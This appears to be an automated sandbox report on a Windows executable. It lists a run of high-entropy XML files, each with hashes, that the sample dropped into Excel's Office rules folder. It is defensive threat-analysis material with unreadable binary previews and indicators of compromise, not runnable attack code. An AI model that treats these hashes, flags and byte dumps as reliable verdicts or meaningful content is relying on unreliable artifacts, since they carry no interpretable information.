Preview:	<?xml.]...Bfg...&..}g_.. .S...<q.^..q..vW.iI....2?..w\6.$........k.{.-<...P^..Ro6.....C.o&.H.....X#.3.B}J.u.1IW.}L&.2...DWQ...Cq...(..UF.?.2l.t5B#"...Aa...nJ.lNE.".a.?.%+......c#.u...i6.#+X.R8.Gi"G^.....=...#.f....m........].L..S3.p..)eG..].Vl.o.._..4c.<E.k...w9h..s%.........di..m......]...lY....VtI.N..;.%..`5...HK....V.Ng.\.}.+J..8..;,l.u....)......-e............&........`.Y..m.2..."....`...N84.....g.m.. ..,.4..Nf.F....0.&a.8.....A#...{.q..QL.n.Q5...\{.4B{..uM.k0bx...b...2..I;...m"/4M...b.Nc...U...m...'$=2...4..#.G)..$G.=.9..OX...R~.....Y........;.y.(..Zj........".......)2.T&.yHJ.........]..:..:c?L...X.....n..c..f.E.;.z........zk.uV$ r...o...0.S.......D..\.r...Od%...~!.PC{`2p...e+..Cm.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.702068670034642
Encrypted:	false
SSDEEP:	12:qerxD7AP0WOVolUpbUfJzl4Rn0pvMMP6C08v2cz4RH+911DiZXcfmZqS2cii9a:jrxD7APJOVs4RngL6Vcwe911u1ZqbD
MD5:	E2D1A4A76FB31C540B9F4644B7B0AF44
SHA1:	595237780D372044961220171A1955363305D759
SHA-256:	88A278E04294E4FFB6FA647178945C59B931C7DE8A05CD10B6E1A662A104DB70
SHA-512:	9B137DC07956F950498D516725A19CF029A1BB095823BC019404395AF399F32C402EEEF8F61156A108965EF5A644F8BE26A7B1E6F36C8AF959F50CE59F995030
Malicious:	false
Preview:	<?xmlt..Ze.....E.3.......U....#....?.i<...e.....F..\|.....Mw...}....<...v.Tj.L1.\.v.d.3'7....w.....v......6.B......++.B..>s..:......G.[m..n^..:\|.j.U........EEf)Q.........^J'Q.N.......u..`..x.o.1<.)J4u_...X.m.@.k.X....?a.?.vz.F.%..c.z.Nq.\|..NB...R...:%..w../.,`.GOO-.C...TmVR7..uM.c.....r.#.c@..m. 2.]...p7)."..).#.........\n4....!.Od.w.Bl.F...1~\eR\....*GT..XY~.ctLF.[_....e..C.S.iI3....4...JI.`..A...m./..0(5+.x(.;..?v.6......Gc....a..!y.#.....zu...N3.^6..:f...y..Q.\|k'....5.&3.{._q.........Ap4..8.f....zC....a...+..Q.juS....S..._.>....^.....}\|:"Z.......M.t..g.Q(^.r./....R....E..Q.A.K..\.:Y...@....0#V.'.R....L...b.Xi...n./...".X, .........mq.Y.9YLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.740028150332265
Encrypted:	false
SSDEEP:	24:6b8xccnHdMo/tjdJ5LCal+rjIgUZ/VWUHi4xxbD:6b6ccHf/9z5LT+XW7FHiID
MD5:	3BE5F9306F557C01FE346B1E66D8F765
SHA1:	1C40F951C576C6BBDB8902E1B3BB403BD2B1D9CB
SHA-256:	D69C1FF7E15D94275A23CE5645E274E392AA857D0953A128A0F30B300983493B
SHA-512:	F44AEA0F05DC5B538950FFBB34E9D3902990274E51779ED84DFBEB7CD5E7C46AF60F852C4034220E4406756A28A57515A0E4F93508D075010593CC69C0281F6C
Malicious:	false
Preview:	<?xml..@8Wp..`\.1......r9.77E....ur.m.[{...1vX.Jx...'..!.A{....zO=."..&.A.....JD...'@!28...'..Z..5Cw......`.....+.f\|QH...z.........{...b..c.<~\|O.QN.....]+...^....T..>4.T.x.t...du..=..^.....;...`..X?.=....$...B.X.tr2#Q...Uq\|.aQ..v.I..$c....jjx.3t..V..W..%^...>..r...5.y .......@.r.]q0.Ae.7H.R.....i.0.5...r......!X.....J.........q.......u......12\|....n.y....W.t..\e....{w}........".....*..~....As.v.u.....Y".....7d...1...DHf.C...q......k........B.;.L.............d?.Z.P...,.#g.n......Dkx....6.@.....o..7Q.B.A.;.......S...k]sAy.....p.v."a.$..:u6.,....i..L.L.....y-..\.+..x......v..Zl.....n.\....8l5.3.......nv..d.v....?...E..:h..g./..hh 4-......5.m6....tr..K..a..Cr.G.L...\|.nd....I. .Eo..1......_.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.737298521738905
Encrypted:	false
SSDEEP:	12:i6m0ve6gObgJlBcMHJ1oCZ2D3hYvCajemKqjnP2SLkBNxNDvS2cii9a:i67+nlJ1NKhYvCfqzP23jDbD
MD5:	E6CCAE6F57F3A5D34C574068D6FAF06D
SHA1:	0F12869BEF4D9ED081512E592E30A837FE6394EF
SHA-256:	CDFA7D62AE937BFA90B2209338990B6BAFE837CCE3E882E303E6838E6E3A65F9
SHA-512:	452417FD76B66512A81410A8B5CC485BB107492BF7BD528850D6390880F800A3E76BDEED06F7CC90A972BB27E64812234BA36386935EA7B64C9E42266393956B
Malicious:	false
Preview:	<?xml..../..._.O._KKm.S=eU..Y....J#1........u.uq....W....j..70.!TX.c..+.Y..".R+%.B.o...#b......._.1.X"......_A....v..jZ.....w.Z.\...f...D..1.J.u.-$.z..P^5U:.#..V1I....2.........V1+u.=.{KT...1n7..&.R.;...d.i.HyXv .z.......]2N.lx....,s8.......].....v!...33v{.wo..YW".....b.'..6....3..S...FyX'Ex../X...zMTd.>j.....hF.(C.cV=..2?...A....A..^.$..%.$@......{...`.]..Q...f.7u....gCG.....<[...9.G.i.k..H...N.L..#:....zX+....+lL.W..\|j_Q..L...@..\|.5 ...8&.b.5...<...)........^$)...vz......;p4..#..#.\|$6l!..s8.^..,....V....g?.}O..\|Sa.f....&...R..%G..q...vF4c.$.W.h..&7s..so...y.q(...D.....A..9UM....2-..@.B......9P...1f..U;.r. ..\Y..........(.........)...T.<.)m$.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.729717614487821
Encrypted:	false
SSDEEP:	24:FYGHWiKEJq75mFr6HlRgkCysYL24K3a2/bD:SGH1JKmUkkM47WD
MD5:	4D7B7B04EF7645BB867F7AD7FBE5EF0F
SHA1:	9C480C9E825F276EA297E8E7DCEB68337BCF1A58
SHA-256:	B1EC6CBB0266910B591203258728CD24B6B4D3404F78C8225AFB5922ABA28192
SHA-512:	0180A9A5E4B6866AD53B4670487B706F71FDA415F881889D3C1CDB406B5EE651022B00DD0962D7B7B19417B2D8B7680752AF859D50E9ED3A344A356B63832B0C
Malicious:	false
Preview:	<?xmlHL,.7..N..H.......#!......[>..K..m_..Gl.,\...J.Yj%8...Ml.j...,....r.&eF.a..Ug..'..T"s2.?......}....7.D.6{.V.nT\|nrU.rM...Vf..P.u}.}^.=k..5'...+.%...\..[..H..Xc...c.q....E..a.....P.s)_$F.)../....c.k.#.......XT4.......33....2..'......t.........M..'...g....L..5..s.....F..t..u........29+.......vn...q.z.........]..._..R.F$.....,.....uS( .j.v.{..q<-.U..k4d,03....Tj#/).~."b...M....).=..=...>...M$.E..u.8.kXH@..V0?zL..m......pf...#"H.B....e.L.ZO.,.F...y....8.M).F.Ks~..,8U..&.4.$5C.....!=0J(.g...HaKsl..#2W..&....z..;...=..........Bp.(..`.@.'c..p...mH...FHB.....!Yk...h_..6.Vi\.t".2.. .p.Q.M.:f5....S.....=......IM....$.x%/.${.u..=t....f.....1.S...h V_X.l.U..N.1...1......._...S.._.b4..gn.DaLs..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.71142681645388
Encrypted:	false
SSDEEP:	12:HMnqLKviAtrVL/YWi+KjWaPxemoaFiImd9RynVe1E096pEAj8fFyYujPJla0giCy:HMNvi0rdZ536Essh9O0F2PJla0gihbD
MD5:	CA1D8A81CA288A4DAFF85024961F6E62
SHA1:	88DA374CA3DC1639835DAC281AFA3D805778A36C
SHA-256:	28C13307B04F21C65BB91CDCB64675AFF887487DA9C1E248E9596F51D757DED7
SHA-512:	300CBD059B34EFA7E82D52994769EE22E3D980F7A43B5CA6EDFC39451A3BF8B78BAA14371EEFD1F54D10609E27A7D520B0C0888F5062673EE009C0A793750DE8
Malicious:	false
Preview:	<?xml~.@....N.".2..J..:V..8B...)..Q...7..H..p-...<u.U\\C....>..B..1....a,#.la...Fam.l.p.3..k......]}(.4....>.P.E.TN,\77^/......[l.>P6..$L..U52....a!...^.x........z...5..O.LN....S..........:..f._......s5...<..9.J_$ .3.v.......X...v....te........@@...hSz...7......U.U.E@@W.......Y.9...l....0O..5,....l.4:R..Ef.../.f...T =.'.g.E.^...Cp......;.....V.@..w..I.W'...3a.....Gp#U..`...."..mz.E9.0I..U.^$..gG .._u.4m->&.yC....kH.~.e..:......E?...~&...z.*...W$.Er6.. ..<<.s8p...q....y5.~..Sw9g...cQ.....V.?dlB....P...X.ZZaR....>...-.........t...)$...".....T......WC.....d..{..o4%..-j.......i..#...Y.yiQ\|..X...N8.qZ...4L.;o.]....r.w..Ew.#=LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.731099267714723
Encrypted:	false
SSDEEP:	12:LD7mX6EULiyBVD06/jOwuSC4wNfNp4IMwRiYfEqa3FUyBhjYfYM0IcIVCpnS2ciD:LDa+iy7DFuScuIM8vU3tBhj6cFbD
MD5:	51466C2FE5CF16270FE1CE830FFCD997
SHA1:	70460987CC1EE9882B1382A165CED1817286789F
SHA-256:	AC3AE2418D25A7BA542F39CF1A58A9F8B8B9D81330D7C62DD03531791019A4CD
SHA-512:	B0E63E7296228DDFA3A5DBCE17460F91950D8400E4740B1FC6E202501D6582B6F4AE6D6B89AECDDDFE8D627F4C654EE20C22DB2BFD05C340AEB0CB27B597FCC8
Malicious:	false
Preview:	<?xml. .`d..F..........^j....7.CC+.M...y.0.....AG..r...Kdf....y.h.d]n._.8...iE...).....$u..=e..7.a.w...........}....L......G..O.kT...I.../..I..w$..^.,.....].t.^...R..lZ....u.)Qt..c..&x..\..2...y.b.t.,...O..AY...`......%.c..I..$.@..Kg.._..!....v.3M....2..1..]...n.Z.R.7...p....>@.....'......Fi.N.....03._..<....M.I..)3.....-:U..V....&....!....=.M..Z.x.](~....a..4O.~.\|+.??...1.g.....0.s5.... ....4r.mz....(...F..i.i..S:.....Z....V.....s.#!...u3O..y.......&.....0v..x7.....Q.l.o....TH..`P\|.K....X.G>.3...$.US.n...S.?.......q..r..GG......i./....~']...\...E.<...+..m+....~.5.L..F..%...,..p....4...]0.u.jF.4.gN.$.A3...rJkZ.fO.Y.YD.i+Q..3Sj*l3..v.U.3Kf..m....3.c$Qq.E...os2...,.0]..n..9..._.G...]!Z.ELQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.732914756701445
Encrypted:	false
SSDEEP:	12:XFo8yKksKDRWcZkOlPoKC6mvJ1gJEmm5BkCQ9t5Uhn5AvhCmxpRV73gYS2cii9a:X+8ERbtPM641o7KxQ97UlCfxpD8AbD
MD5:	9ACD6B26B6F7F0F6054490F348389DE9
SHA1:	4E00D533E595844CC97D2C13E287A72D103475D6
SHA-256:	A99231ED9CE4407A75CECD7C3A704144704EA8D70C5D857D102CDB432CA81DFD
SHA-512:	26942EBAB5A2C2823D3AFAB077FA843BA0E03E3A3DFAE51CB49C12580D7800AF602F69496A2524D4D65C9954830E7926E7D8761C384874493D9ACEB0DCD1A92E
Malicious:	false
Preview:	<?xmll^[I.."O...^w=+..9.&1........#.S...$..s..qFY.vN..\'I....\|G"..z.........f~..j.X.u".... ...P.8F........<....`D...h...x.H.vZ)g.D.....r.VW?..C......_../...u.#..S)....8!..43..D.aBN{.....O..X4.?.k.Q..Fo\|.4.].de<.\|_..$9.T.h.h.I..,.`\..pY.Y.)...y..O...{y.jh..Tahz...{.]+'.....Bs.~...[R.....J.C.G..n5.....;2..~.BJ.d....C.M.0o...YdV.. N`t.....>0..h...y.Y-.S$btGa.wmzz..`o..c...Y.!fn.h..\|G..C\|6..c....U.7..-.%.{P... .5...z5.A0.....si.>.E.....qO....biWTl.....n.....~....`..K..k.8.i.o...J...%.....=.0....."..lHR.,.c&......o...w{....(.W...r....z`.q....E....SF.....^.9.>iH....cb..'.@%..].y?Hg.....L.@%..[.....9...<....1..."LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.723317998310548
Encrypted:	false
SSDEEP:	24:+yvIStz30mCVfklOnonYIjWVMbYp/uburbD:+yvISt3CVfUtY5VMbYp/VPD
MD5:	166810ED75DFE4E529641C70710EFFD7
SHA1:	AC88F04CC002E89D65824FE0E68A10A9D11A3565
SHA-256:	DE3000283766077D15E4D575F04955D6981EB914A51C6E1B0F3394463C8174EF
SHA-512:	C518D8094E51490DEBB8A35FE46F45C732F627615476522FE21E665BEAB858D45FE8B3E68BAEEA0754450F4FAC3F62586036366A89025494FD5A7AC329795681
Malicious:	false
Preview:	<?xml,..2.EI..F.\|...B0!c...Q=.oM..V....r[...m.....{J....T..o..vG.._.P..x..-....L.5,x<.:.........qdI.>c..x........!..?\..91\&..K.;`.z..<.$..y..,.r.......oA..../.....W.4M+"m}.....SH.0L1.~.I.j..".....W.o .t.'..vEY....b...\|.g.c.3..(......&.........,.......pF..\<.^..4..n. ..H.... fg..tst?t.......d...Q"r........AW.p..Dl..Z.XC.../}... ..GV.w....Q_....r..#...ys......2p.=.(r.5...IYe.&.h...@ni..^C.UR!...L..........NuS8.....b2..~.... j..b...3v0.1w.C...8.u..Vn:.b.H..e.....F.w.t....M_...lLaxA.^.v.....@X..r....2....SP...B$.s.I......z.(.5.J...u..m.7^......U...8J+C..+\|W.HN.N..P.6)5....-4.T\|.....L..6sd+w.b%..#]..B\.T7.7.C.x...E.k{.+......Yn..2..Z..M+.BJ.k.".^.]`.,i.bD.....0..."..NV.v..da.......y.u._'...H..o.;d.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.696908053445217
Encrypted:	false
SSDEEP:	12:SW60jPvr9xjJoYWbVVlkcOaYPwYPMCFgVOcIvTpJlOUgUFQVRGhhiBS2cii9a:SIjP5d1WxrBcYVOBvTTniGPiZbD
MD5:	C4D8C48AC12956DF9FA098D122FC3DD6
SHA1:	0B0FAB66F915F1D72CA79E5E9A7CAD14433E9A99
SHA-256:	A518012A0A91E593CD5FDB8CA2330D63742D5F89A3D4732EE73DF13996834D65
SHA-512:	B49106A9919B5876041DFA82227ADCD6C4D266710FA7ACDC2BCECDF53401B8E211A40E29B7DA8DD148B6E00327053C62FE0FA883CA027227F1E6BD6AE4CD24E0
Malicious:	false
Preview:	<?xml_w..z....i...j.<.ar...l......N...{.T."anvw...O ..HI.D..2k.>Z....{..........+.7.........p...W....I.._.."kK.......K......}..v.1...6ie..X..+..{}b.3..C..T..j..dS....9Q....H..Fc.8.))3.M80O....O9.LWD.hK...D..`.(.I.4.[.5..S.....P..I.CN.&....:.5..K"~...9.r.."yM.T........ Y.1.J....X.&90Z..B.m.6D....)..V[...E'p..a(......}..x...e.c.&".\|.'...p.qy.6....$..}....Hm..R...l...RK.l.....l.^M.X;....th..8..........Fk..n.G...C...G..f.R<Z...?C."3T.....g....V..Bn.P..K/....z.....I..6g..D..K.z.x.@..,.?......]@..D...j2[..f.l..4.W.1C..U....b..+.07.]j.g.0.?!...-..h5.......9<..v..}..d.....k..M..A.c.....kW....}...um....O.>............V.,L....9....8..b.O2.d.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.731285182529796
Encrypted:	false
SSDEEP:	24:jh7418TQvd5EzN+a+MQcqmDXjkNEVrUQmz/bD:jG1EkrE4aNTXjkWVrU1jD
MD5:	499FAF04AEA99C309A0DE27CA704E247
SHA1:	48F3692A1F6B2FB27962CE587A016055967EAE61
SHA-256:	E844E792693D57E39BC2D949E4971EF16068F5DEA00A0DEB099B3D47C2DDB8FE
SHA-512:	9C32056B3F7CAA1F20B9A3B8B1F3F0FF849BA0491DB2CBE5101AB95BBD679BEB6889505309A82CAE70179D25054B1DC921BB872EEBF281CC3C50575A4648A79A
Malicious:	false
Preview:	<?xml.........4.xf.Dh....2.M...."..="U+...N..jA.z..t....,q-..C.n..gL.2f.;..2..ha^....NG.k..#p...).......Bt8..CX...fa.`.c.g..H...m......g...3...]..({pg.R...n.}.-..y.$,..N5...^..vya...........CF..H...1.......>]ya..{].PL.%;'....#Ke+..U.u.0..ax.G...\|.."..t....'D......@..T^.[...A.]....m7K.p..!fyZ...I9\|.q..yww..:..x......[X.....}...\|........@.....Ro..\.m...1Y...\c...?=...u%ypz\...j..'...Q..0]..J .aR...+...Z.1.r..A............g[......q.......]F....r.........iy.}.4... .t.B...h$..<....p.D...w.HG.S:%v.).r.s..!.J..!V....y.DAN..5"..\|..H.7..0.x....P%<..K1....A....D'&..i......`D/.x...b......8.7..."P._....."..f.S......Y..t\|.......Y1.....&.....^.a.{.n1..hel5..~.l.%......Cn'.;..N.jy..P..$...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.725573852012952
Encrypted:	false
SSDEEP:	24:W4pZJFX/1Umw9xVZVt1FCIBJHGjnHM8Mbt6bD:W+R/11m1FCaJGDHwbt4D
MD5:	A9B3C82477FFA66EA5CE90FBD1F304DE
SHA1:	DA87FE6051696B167EE8EEF5578A170689C2F378
SHA-256:	EBCEA589BB8FCB234C4D7BA14EE7AF1B3A0A003B3107C031E1B68C855A4B61F0
SHA-512:	6FB0C4E7725431DCA460B5BF4EBCCC69CAEAF4E846B30F0F87E810E59941BEA899E0E45A8C3B94227919B4914646D1F9505F79AE83A24B8A1C76380C5D2CF729
Malicious:	false
Preview:	<?xml.X:.Y.. oB....".;U.7.!...`..8...N.u.N...X2...l...S...K..?..8/...,.q...3]...-..d-..:........<hlKA.2..;.._..(..c..}.d+..z.'.=!0..`.:$.ov...g..+.7..t..B!...>ZK}R..6..6p..L{P.=.4lLNl..=.U....6.oe..%..... ......V.M....5Z..yw..L]n.ne..o#...?.w..!...#Eq.G.i...\|..L...=,V.Nt.8.....S]...8...rs+.......F6c...<.....EnT.....0,....O....Q.9[b..~-....Q..G?..$VR.I-IHK..U.!..pET=.h7u.<.;f.....W.K_.....@ .u}.'y.dv.r.........}.........{!.5._.........X.>T*:..U.v6f.%3v..~Y.].s..o...o.R.As..- K......u.O{O.>...~.t....bU-x/.<.+..#."`..A......dj.......L.D.....~Y}......RT^.d...qG... No.+..E..}...7L5.3............Z...q....o..}.aw.....ti..z.0..V/.o.....crf...sKA..0.V.d...u....\.+..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.72493100251072
Encrypted:	false
SSDEEP:	12:EZ4aMPCe89jBqDyVpd7kzFYSIP3zXn4DOCjHGgkc3LeSwVuG8o84J/JCmZaPnS2X:gnM6zfMyrd7h9b4KNg2pEMJ4RP3bD
MD5:	DDF7E76EC7FE919E2390B8DA5277EF1A
SHA1:	CED1BC3ABB95417B4A58191E5933C21DCB5F301A
SHA-256:	F08A9F61D5817AECFB628A00A476E6F93A2B92F1461CF1972C21C63005D03788
SHA-512:	24BBAC99B21D922BE9385AE3A76B8F7CBFAC662E078FE3ACAAF9A45CACA6D37B5AEE0077E783A4D6FB8EE2D86A6BA3D4B7CD76A44584F3EE5EBDE03DF92D6454
Malicious:	false
Preview:	<?xml.E5sYFjj.0.....n~k.H..n....?......0..-Z.....H.S.....8....rY..k...(.....i...oo..<J.g[.....P.M...@........Y..E9$.0Wm8..2.".=...:z..Z....4.......&B+x.u.%...u...B>2.^../o.:9A.9(P]....7..j.Z.,P......@.E.....S.Z..].S......,,`e..5\...9o(.\.^...G...:~.P..`~...2.....k.."Yq.f...{..'..G2J.#..[....~.N..5..<'...!..]....tk&B...G."5`...^g....3..... .k... ;'.<_.....9...q^...e...+.(.r.M./..>n.BhX..q..L....K.qscD.Ts.\..GO...P.n)../_$NLV......+..:.H...`?..J.Nzo....ehi..8...~.U.3.m.4)w....v....q.,...;.-h<.,...0..B.E.S.J.VnqH\.V.W\|...4...L$.....0..{n@...N..K.=..E.t..q._......!@..<.V...Bd#.H....x.....p...v!8e1.c.(.c..9.....A#e.CD.. ..i..(...f.......+..U.W'.Z_.#.pb.N.-X..<h.\|..B....n}..yx..3^O6.F.i?a..?.3o.I.6.E.d.F..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.692511999614926
Encrypted:	false
SSDEEP:	12:9hh24NJgmVnWz9VkzwVprGbto7pYovWjIGx/Ae5IeLr6BwCN6+kru//S2cii9a:Hk8VnHzwVAtSprvWjD/JOeLew0nzPbD
MD5:	3E87670625E36A0A09263203835FD3C3
SHA1:	C276E8E74A38D2D4B51D422375D0C977FF3A8AB5
SHA-256:	1D3E28118B05A1E1B537826CB09154A7E2EF343DE3C3CDAB962C91DC08C40C5D
SHA-512:	46E30532E0B4B38B6601928B63C84BA04F6C4C181BC4658F838171E93AEF892CCEA260021234A1B596E870479E5BE7A6093B8895AEEC723B60F2AD0A129B2DCE
Malicious:	false
Preview:	<?xml+u.C............oW........d.,...Jgt..4.3LNV.5`..A..1...7.x=.0..W.dSKR%.x.....]..D.(.,.L.5:I(=x.=\|.I1i,e...z.K8....h.._;..T......FW."X...-h......ma..PLu.u=.C../.......;......_G....8.-\?....Q.+.....J.E..P.....3....6...k._o....%..E.;~.k..%...^.-.{.X.%..[.I\.P....O@j.z.q..`.B........\N.....+..Z....qF.......o..sm.S..%\|..6..t...+[0]..D.-.Gb.Y.m+...I,>.NK..4.jfv.cJA.T8{..~.QS.h....1.U.<.......H...}....M...-c...7.....bR.q...*..^...E.~.....PO..Y;..!p.gNL..@He..t.....n.ub.c....n.j.f../f..pE...B.......Y-...:.N..g4&..$.!'\.)#.L/MN....X....W.7...,...B......`V..g'.yx......].;....u.7.;.+".....S....1..<QJKtC(.o.....]...Z...mO.7f.n.`l]._.:LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.74480517491241
Encrypted:	false
SSDEEP:	24:o5+pW+P0PSagT9GARvscC745rLJA5+7cGNAobD:jw+9agJGAE4dyM7c4AyD
MD5:	C2552D0156CE56D831267452945182CE
SHA1:	777B6484657878E4B254728BD7D72D181451C4FF
SHA-256:	1444CB7ECF8CA91181456299A9A42C528C963BA90A0B5CB1D92A09A762F11DCC
SHA-512:	B61B97AB513C663E13B0E1F020AB4BC691C3C7D7FE6667B8FB4D36F8D3AA1DEEF785C37CFEC32D57C5173F00B26A9F3E29EE71B8D8D036D79E317F52BC2A4254
Malicious:	false
Preview:	<?xmlNQ...6.?....5../0....s..'..N.......=.[l....r..--J.....Fj7W.....vX..c..Ld.........@.]....En..j..woL..U%n..'[0........c..9..{.n6.....'O.P$9a.;'..e.d....@.+V.....u...F.%4:V_...jV.a=i..5.10.n..J..K.i..g.........5....Y...K....{......R..{mv....9.7M..M.^#..~.T/.v.g........?.w5.D.[\|.dX..&..vO..].......o.+c\3../.g..>.V@t..y......Z.Fs.].;............N....[..!C......1...h....).7to..K.....9q.Ob_.c...a..i-...S#.q^.....f.r....;..s+$.\|.....a%.....aD.....g..c.qF#HL...W.q..9.G..%1..W..z@g9$....;..._.$w...t,eV.v..t...d.....E..q.1..c.4......tu....:i...O.bo.7~...l./.:.;......0.....9...?......-cE...=....B...,T. B.jL0q). m....w#,.\.8....W@%.e.C..>..&_...C...djw....W0....>.l.....rj...`W.&U~&`x._LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.709335451145566
Encrypted:	false
SSDEEP:	12:xDQL8ILcBDMuNOovH2rAbJEZpouivVgDkdVMb9QeKaZMb5S2cii9a:xDH1BouNJH2c8po7tIhbGSM9bD
MD5:	479838607DBFF28A8D87B5840D342FC7
SHA1:	BBB1FB822F4C9FDC7E56C81EE43284D07EF86AF2
SHA-256:	4C1F5D58A0D87CD608B5437DCD0AF7AC55D2BA0803905664F0D7363A2F4D55E7
SHA-512:	15C97863E5BB4BD1C02FD46778384A4202D4D181D27B657A97368DAAD4DF90043366429144E6F2246C7FA07DE2683CF763459DF45172C49ADB1ACED1F30821AD
Malicious:	false
Preview:	<?xmlc....RZ.Q.q.Y]b......c.Mpr.n.S.8.v.B^J.e....?...y,..... .9<...@4..k..Nj..:......:..g3...oj..3..;BC.F.h.8.g...U..-......i...9.O....}....H....H aI!C~...V....9&....Ew6V7..C.:..O2.S.#.~!..U... .j.p.....\..Yy.U.....K.K!Pv...I....@........[..D!\.@c..}N...p.=.i..b..\#. .ME<...#JQ...E........=/..q..B..h.S..E[vR.F.\|U....8#.....KN..D.\.u......:.....`.u3)v.B...z..m._.......yg.W7.f.].!...c.....6&m......i$...t.\|5.._.A_.M^.Y.N.z..`.?...-kg..Y.].+h1=.....4...9Q.;."....Y.aL.)....K..Y0..Q[.F.....]P.i/q.I..l.G.......D8p+..yC....X..jE.A...o....*\...!vt.?.S.\|,t.o.VU.>.....G3?..6.B:.?....[04n..d.H^.,.f..m../U.g..!.:YO.!y.....!/..N6..=.Z......,...q..)....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.750359827532768
Encrypted:	false
